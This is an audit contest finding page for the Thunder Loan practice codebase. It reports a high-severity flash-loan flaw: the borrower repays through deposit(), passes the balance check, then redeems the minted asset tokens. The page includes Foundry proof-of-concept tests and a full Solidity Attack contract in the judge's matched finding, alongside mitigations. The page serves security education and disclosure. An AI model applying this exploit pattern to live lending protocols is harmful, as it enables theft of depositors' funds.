Thunder Loan
AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Flash Loan Borrowers Can Repay With `deposit()` And Later Redeem The Loaned Funds

ra9huvansh

Root + Impact

Description

  • A flash loan borrower should only be able to settle the loan by returning the borrowed amount plus fee.

  • However, during `executeOperation()`, the borrower can call `deposit()` instead of performing a true repayment. Because `flashloan()` only checks the asset contract's final token balance, this deposit makes the repayment check pass while also minting redeemable asset tokens to the borrower.


    The borrower can then redeem those asset tokens after the flash loan completes and recover the borrowed principal, causing loss to liquidity providers.

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / assetToken.getExchangeRate();
@> assetToken.mint(msg.sender, mintAmount);
@> token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
​
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
uint256 startingBalance = IERC20(token).balanceOf(address(s_tokenToAssetToken[token]));
@> s_currentlyFlashLoaning[token] = true;
receiverAddress.functionCall(...);
uint256 endingBalance = token.balanceOf(address(s_tokenToAssetToken[token]));
@> if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
}

Risk

Likelihood:

  • The borrower fully controls the flash loan callback.

  • Nothing prevents the callback from calling `deposit()` while the loan is active.

Impact:

  • The repayment check can be satisfied without actually extinguishing the debt.

  • The borrower receives asset tokens and can later redeem the minted asset tokens for underlying, leaving LPs with a loss.

Proof of Concept

The receiver uses the flash loan callback to call `deposit(token, amount + fee)` instead of a real repayment.
This increases the asset contract balance enough to pass the end-of-loan check, while minting asset tokens to the receiver.
After the flash loan completes, the receiver redeems those asset tokens and recovers the borrowed funds.
​
function test_flashLoanRepaymentCanBeBypassedWithDeposit() public {
DepositAsRepayReceiver receiver = new DepositAsRepayReceiver(thunderLoan);
uint256 fee = thunderLoan.getCalculatedFee(IERC20(address(token)), FLASH_LOAN_AMOUNT);
AssetToken assetToken = thunderLoan.getAssetFromToken(IERC20(address(token)));
​
token.mint(address(receiver), fee);
​
thunderLoan.flashloan(address(receiver), IERC20(address(token)), FLASH_LOAN_AMOUNT, "");
receiver.redeem(IERC20(address(token)));
​
assertGe(token.balanceOf(address(receiver)), FLASH_LOAN_AMOUNT);
assertLt(token.balanceOf(address(assetToken)), DEPOSIT_AMOUNT);
}
​

Recommended Mitigation

`deposit()` and `redeem()` should not be callable for a token while that token is in an active flash loan.
More importantly, repayment accounting should be separated from LP share minting so balance increases caused by deposits cannot
satisfy flash loan debt.
​
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ if (s_currentlyFlashLoaning[token]) revert ThunderLoan__NotCurrentlyFlashLoaning();
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
- uint256 calculatedFee = getCalculatedFee(token, amount);
- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
​
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!